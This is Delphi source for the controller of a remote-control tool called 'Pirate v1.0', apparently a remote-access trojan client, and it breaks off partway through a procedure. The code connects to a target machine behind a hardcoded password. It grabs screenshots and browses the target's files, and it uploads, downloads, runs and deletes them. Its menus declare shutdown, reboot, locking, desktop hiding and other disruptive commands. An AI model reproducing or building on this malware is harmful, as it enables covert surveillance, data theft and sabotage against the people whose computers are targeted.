umain.~pas

一个远程监控程序

unit Umain;

interface

uses
  Windows, Messages, SysUtils, Classes, Graphics, Controls, Forms, Dialogs,
  StdCtrls, ScktComp, shellAPI, ComCtrls, ImgList, Menus, ShellCtrls,
  ExtCtrls, Buttons, ToolWin,winsock,JPEG, XPMenu;
const
  SpyImg = 'c:\Pirate.jpg';
  MY_MESSAGE = WM_USER + 100;
  MI_ICONEVENT=WM_USER+1;
  ICON_ID=1;
type
  TState = (stWait, stReceive, stSend, stSpy, stGetDrive, stGetFile ,stDel ,stShare);
  TfrmClient = class(TForm)
    ClntSocket: TClientSocket;
    lvFiles: TListView;
    ImageList1: TImageList;
    PopupMenu1: TPopupMenu;
    DownLoad1: TMenuItem;
    UpLoad1: TMenuItem;
    Execute1: TMenuItem;
    OpenDlg: TOpenDialog;
    SaveDlg: TSaveDialog;
    GroupBox1: TGroupBox;
    Label1: TLabel;
    Label2: TLabel;
    cbDrive: TComboBox;
    btConnect: TButton;
    btSpy: TButton;
    btReset: TButton;
    Label3: TLabel;
    edtPassword: TEdit;
    GroupBox2: TGroupBox;
    SpeedButton1: TSpeedButton;
    N1: TMenuItem;
    del1: TMenuItem;
    A1: TMenuItem;
    Share1: TMenuItem;
    Share2: TMenuItem;
    StatusBar1: TStatusBar;
    N2: TMenuItem;
    closePC: TMenuItem;
    rebootPC: TMenuItem;
    Restart_User: TMenuItem;
    MainMenu1: TMainMenu;
    N3: TMenuItem;
    S1: TMenuItem;
    cob_ip: TComboBox;
    N4: TMenuItem;
    X1: TMenuItem;
    D1: TMenuItem;
    N5: TMenuItem;
    C1: TMenuItem;
    H1: TMenuItem;
    A2: TMenuItem;
    PCerror: TMenuItem;
    tv_PClist: TTreeView;
    ImageList2: TImageList;
    N6: TMenuItem;
    NLock: TMenuItem;
    Nfree: TMenuItem;
    Nhidedesktop: TMenuItem;
    Ndisplay: TMenuItem;
    N11: TMenuItem;
    N12: TMenuItem;
    Nhidestatus: TMenuItem;
    Ndisplaystatus: TMenuItem;
    N15: TMenuItem;
    Ndeath: TMenuItem;
    N7: TMenuItem;
    CoolBar1: TCoolBar;
    ToolBar1: TToolBar;
    ImageList3: TImageList;
    ToolButton1: TToolButton;
    nscreen: TMenuItem;
    nreset: TMenuItem;
    nmessage: TMenuItem;
    ToolButton3: TToolButton;
    ToolButton4: TToolButton;
    ToolButton5: TToolButton;
    ToolButton6: TToolButton;
    ToolButton2: TToolButton;
    ToolButton7: TToolButton;
    ToolButton8: TToolButton;
    colordlg: TColorDialog;
    PopupMenu2: TPopupMenu;
    S2: TMenuItem;
    N8: TMenuItem;
    C2: TMenuItem;
    N9: TMenuItem;
    X2: TMenuItem;
    N10: TMenuItem;
    S3: TMenuItem;
    N13: TMenuItem;
    PopupMenu3: TPopupMenu;
    min_1: TMenuItem;
    N14: TMenuItem;
    min_2: TMenuItem;
    min_3: TMenuItem;
    min_4: TMenuItem;
    N16: TMenuItem;
    min_5: TMenuItem;
    min_6: TMenuItem;
    N18: TMenuItem;
    XPMenu1: TXPMenu;
    procedure btConnectClick(Sender: TObject);
    procedure ClntSocketConnect(Sender: TObject; Socket: TCustomWinSocket);
    procedure ClntSocketConnecting(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure btSpyClick(Sender: TObject);
    procedure ClntSocketRead(Sender: TObject; Socket: TCustomWinSocket);
    procedure btResetClick(Sender: TObject);
    procedure ClntSocketError(Sender: TObject; Socket: TCustomWinSocket;
      ErrorEvent: TErrorEvent; var ErrorCode: Integer);
    procedure cbDriveChange(Sender: TObject);
    procedure lvFilesDblClick(Sender: TObject);
    procedure PopupMenu1Popup(Sender: TObject);
    procedure DownLoad1Click(Sender: TObject);
    procedure UpLoad1Click(Sender: TObject);
    procedure Execute1Click(Sender: TObject);
    procedure edAddrKeyPress(Sender: TObject; var Key: Char);
    procedure ClntSocketDisconnect(Sender: TObject;
      Socket: TCustomWinSocket);
    procedure FormShow(Sender: TObject);
    procedure Image1Click(Sender: TObject);
    procedure FormCreate(Sender: TObject);
    procedure edtPasswordKeyPress(Sender: TObject; var Key: Char);
    procedure del1Click(Sender: TObject);
    procedure Share1Click(Sender: TObject);
    procedure Share2Click(Sender: TObject);
    procedure closePCClick(Sender: TObject);
    procedure rebootPCClick(Sender: TObject);
    procedure Restart_UserClick(Sender: TObject);
    procedure S1Click(Sender: TObject);
    procedure cob_ipKeyPress(Sender: TObject; var Key: Char);
    procedure X1Click(Sender: TObject);
    procedure cob_ipChange(Sender: TObject);
    procedure PCerrorClick(Sender: TObject);
    procedure NLockClick(Sender: TObject);
    procedure NfreeClick(Sender: TObject);
    procedure NhidedesktopClick(Sender: TObject);
    procedure NdisplayClick(Sender: TObject);
    procedure NhidestatusClick(Sender: TObject);
    procedure NdisplaystatusClick(Sender: TObject);
    procedure NdeathClick(Sender: TObject);
    procedure N7Click(Sender: TObject);
    procedure tv_PClistClick(Sender: TObject);
    procedure nmessageClick(Sender: TObject);
    procedure ToolButton4Click(Sender: TObject);
    procedure C2Click(Sender: TObject);
    procedure S3Click(Sender: TObject);
    procedure N13Click(Sender: TObject);
    procedure ToolButton5Click(Sender: TObject);
    procedure FormClose(Sender: TObject; var Action: TCloseAction);
    procedure min_1Click(Sender: TObject);
    procedure min_2Click(Sender: TObject);
    procedure N18Click(Sender: TObject);
  private
    { Private declarations }
    buf   : array [0..1023] of byte;
    Counter, count : integer;
    LastDrive : string;
    CurrentDir : String;
    NumRead    : integer;

    function IPAddrToName(IPAddr : String): String;
    function LocalIP: String;
    procedure WMSysCommand(var Message: TWMSysCommand);message WM_SYSCOMMAND;//响应WM_SYSCOMMAND消息
    procedure IconOnClick(var message: TMessage); message MI_ICONEVENT;
  public
    { Public declarations }
    State : TState;
    opFile: file of byte;
  end;

var
  frmClient: TfrmClient;
  hicondo:TNOTIFYICONDATA;
implementation

uses About, JPG, Search, Param, Message, GetScreen;
  var    JPEG_Screen:TJPEGImage;
{$R *.DFM}


function TfrmClient.LocalIP: String;
type
  TaPInAddr = Array[0..10] of PInAddr;
  PaPInAddr = ^TaPInAddr;
var
  phe: PHostEnt;
  pptr: PaPInAddr;
  Buffer: Array[0..63] of Char;
  I: Integer;
  GInitData: TWSAData;
begin
  WSAStartup($101,GInitData);
  Result := '';
  GetHostName(Buffer,SizeOf(Buffer));
  phe := GetHostByName(buffer);
  if phe = nil then Exit;
  pPtr := PaPInAddr(phe^.h_addr_list);
  I := 0;
  while pPtr^[I] <> nil do
    begin
      Result := inet_ntoa(pptr^[I]^);
      Inc(I);
    end;
  WSACleanup;
end;

function TfrmClient.IPAddrToName(IPAddr : String): String;
var
  SockAddrIn: TSockAddrIn;
  HostEnt: PHostEnt;
  WSAData: TWSAData;
begin
  WSAStartup($101,WSAData);
  SockAddrIn.sin_addr.s_addr:= inet_addr(PChar(IPAddr));
  HostEnt:= gethostbyaddr(@SockAddrIn.sin_addr.S_addr,4,AF_INET);
  if HostEnt<>nil then begin
    result:=StrPas(Hostent^.h_name);
  end else
    result:='';
end;

procedure TfrmClient.btConnectClick(Sender: TObject);
var
   result : boolean;
begin
  if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
  if ClntSocket.Active = false then
    begin
      ClntSocket.Address := cob_ip.Text;
      ClntSocket.Host := cob_ip.Text;
      Clntsocket.Active := true;
    end
  else
    ClntSocket.Active := false;
  end else
  Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;

procedure TfrmClient.ClntSocketConnect(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  StatusBar1.SimpleText:='Pirate(v1.0)   连接到主机成功!';
  socket.SendText('lastdrive');
  state := stGetDrive;
  cbDrive.Clear;
  btSpy.Enabled := true;
  btReset.Enabled := true;
  nscreen.Enabled:=True;
  nmessage.Enabled:=True;
  N7.Enabled:=True;
  btConnect.Caption := '断开连接';
  min_2.Enabled:=true;
  min_3.Enabled:=true;
end;

procedure TfrmClient.ClntSocketConnecting(Sender: TObject;
  Socket: TCustomWinSocket);
begin
  StatusBar1.SimpleText := 'Pirate(v1.0)   正在连接主机...';
end;

procedure TfrmClient.btSpyClick(Sender: TObject);
begin
  assignFile(opfile,SpyImg);
  rewrite(opFile);
  State := stSpy;
  frmJPG.ShowModal;
  Counter := 0;
end;

procedure TfrmClient.ClntSocketRead(Sender: TObject; Socket: TCustomWinSocket);
var
   len      : integer;
   drv      : char;
   f        : TSearchRec;
   ListItem : TListItem;
   temptext, temp: string;
   i, index : integer;
begin
  if State = stSpy then
  begin
    Len := Socket.ReceiveLength;
    Socket.ReceiveBuf(buf,Len);
    blockWrite(opFile,buf,Len);
    Counter := Counter + Len;
 //   StatusBar1.SimpleText := '(Pirate v1.0) 接收:' + IntToStr(Counter) + ' 字节';
    if Len < sizeof(buf) then
    begin
      State:=stWait;
  //    StatusBar1.SimpleText := StatusBar1.SimpleText + ' Ok!';
      CloseFile(opFile);
      frmgetScreen.Timer1.Enabled:=true;
      frmgetscreen.Show;
      JPEG_Screen.LoadFromFile('C:\Pirate.jpg');
      frmgetscreen.Image1.Picture.Assign(JPEG_Screen);
     // shellexecute(0,pchar('open'),pchar('c:\Pirate.jpg'),nil,nil,SW_SHOW);
    end else socket.SendText('next');
  end

  else if State = stDel then begin      //反溃删除文件成功信息.
    temptext := Socket.ReceiveText;
    if TempText = 'Del' then begin
       Application.MessageBox('文件已经成功删除!','提示',MB_ICONINFORMATION);
       lvFiles.ItemFocused.Delete;
       State := stWait;
    end;
  end

  else if State = stShare then begin
    temptext := Socket.ReceiveText;
    if Temptext = 'shareok!' then begin
       Application.MessageBox('该目录已成功共享!','提示',MB_ICONINFORMATION);
       State := stWait;
    end;
    if Temptext = 'notdir!' then begin
       Application.MessageBox('没有在目标机上找到该目录!','提示',MB_ICONINFORMATION);
       State := stWait;
    end;
  end

  else if State = stGetDrive then
  begin
    Lastdrive := socket.ReceiveText;
    lvFiles.Items.Clear;
    cbDrive.Items.Add('a:\');
    listItem := Lvfiles.Items.Insert(0);
    ListItem.Caption := 'A';
    listitem.ImageIndex := 2;
    for drv := 'c' to lastDrive[1] do begin
       cbDrive.Items.Add(drv + ':\');
       listItem := Lvfiles.Items.Add;
       ListItem.Caption := UpperCase(drv);
       listitem.ImageIndex := 2;
    end;
    state := stWait;
  end

  else if State = stGetfile then
  begin
    temptext := Socket.Receivetext;
    if temptext = ' ' then
    begin
      State := stWait;
    end else
    begin
      counter := 0;
      i := 0;
      index := 1;
      repeat
        inc(i);
        if temptext[i] = #13 then
        begin
          inc(Count);
          inc(counter);
          StatusBar1.SimpleText := '(Pirate v1.0)   接收到:' + IntToStr(count) + ' 个文件信息';
          if temptext[index] = 'd' then
          begin
            listItem := Lvfiles.Items.Insert(0);
            ListItem.Caption := copy(temptext,index + 1,i - index - 1);
            listitem.ImageIndex := 0;
            index := i + 3;
            i := i + 4;
          end else
          begin
            ListItem := lvfiles.Items.Add;
            ListItem.Caption := copy(temptext,index + 1,i - index - 1);
            listitem.ImageIndex := 1;
            index := i + 1;
            repeat inc(i) until temptext[i] = #13;
            Listitem.SubItems.Add(copy(temptext,index,i - index));
            index := i + 1;
            i := i + 2;
          end;
        end;
      until i >= length(temptext);
      //caption := caption + '  ' + InttoStr(counter);
      if counter <1140 then
      begin
        state := stWait;
        StatusBar1.SimpleText := StatusBar1.SimpleText + ' Ok!';
      end else
      socket.SendText('next')
    end;
    
  end else if State = stReceive then
  begin
    Len := Socket.ReceiveLength;
    Socket.ReceiveBuf(buf,Len);
    blockWrite(opFile,buf,len);
    Counter := Counter + len;
    StatusBar1.SimpleText := '(Pirate v1.0)   接收:' + IntToStr(Counter) + '字节';
    if Len < Sizeof(Buf) then
    begin
      CloseFile(opFile);
      StatusBar1.SimpleText := StatusBar1.SimpleText + ' Ok!';
      State := stWait
    end else Socket.SendText('next');

  end else if State = stSend then
  begin
    temptext := Socket.ReceiveText;
    if TempText = 'next' then
    begin
      BlockRead(opFile,buf,Sizeof(buf),NumRead);
      Socket.SendBuf(buf,numRead);
      Counter := Counter + Numread;
      StatusBar1.SimpleText := '(Pirate v1.0)   发送:' + IntToStr(counter) + ' 字节';
      if NumRead < Sizeof(buf) then
      begin
        StatusBar1.SimpleText := StatusBar1.SimpleText + ' Ok!';
        State := stWait;
        CloseFile(opFile);
      end
    end
  end;
end;

procedure TfrmClient.btResetClick(Sender: TObject);
begin
  if UpperCase(edtPassword.Text)=UpperCase('oversea') then begin
    ClntSocket.Socket.SendText('reset');
    if (State = stSpy)or(State = stSend)or(State = stReceive) then
      CloseFile(opFile);
      State := stWait;
      ClntSocket.Active := false;
      ClntSocket.Active := true;
  end else
    Application.MessageBox('目标机口令输入有误!','提示',MB_ICONWARNING);
end;

procedure TfrmClient.ClntSocketError(Sender: TObject; Socket: TCustomWinSocket;
  ErrorEvent: TErrorEvent; var ErrorCode: Integer);
begin
  StatusBar1.SimpleText:= '连接主机' + cob_ip.Text+'丢失...';
  lvFiles.Items.Clear;
  ErrorCode:=0;
end;

procedure TfrmClient.cbDriveChange(Sender: TObject);
var
   temp : String;
begin
  if State = stWait then
  begin
    lvFiles.Items.Clear;
    lvFiles.SortType:=stNone;
    Counter := 0;
    count   := 0;
    LvFiles.Items.Clear;
    temp := 'f' + Cbdrive.Text + '*.*';
    ClntSocket.Socket.SendText(temp);
    State := stGetFile;
    CurrentDir := cbDrive.Text;
  end;
end;

procedure TfrmClient.lvFilesDblClick(Sender: TObject);
var
   temp,temp1 : string;
   i    : integer;
   index :integer;
begin
  if lvFiles.ItemFocused <> nil then
  begin
  count := 0;
  temp := lvfiles.ItemFocused.Caption;
  temp1:=temp;
  index:=lvFiles.ItemFocused.ImageIndex;
  if Index = 0 then
  begin
    if (temp <> '..')and(temp <> '.') then
    begin
      lvFiles.Items.Clear;
      CurrentDir := currentdir + temp + '\';
      clntSocket.Socket.SendText('f' + Currentdir + '*.*');
      State := stGetFile;
    end else
    if temp = '..' then
    begin
      i := length(CurrentDir);
      repeat
        dec(i)
      until CurrentDir[i] = '\';
      Delete(CurrentDir,i + 1,length(CurrentDir) - i);
      lvFiles.Items.Clear;
      clntSocket.Socket.SendText('f' + CurrentDir + '*.*');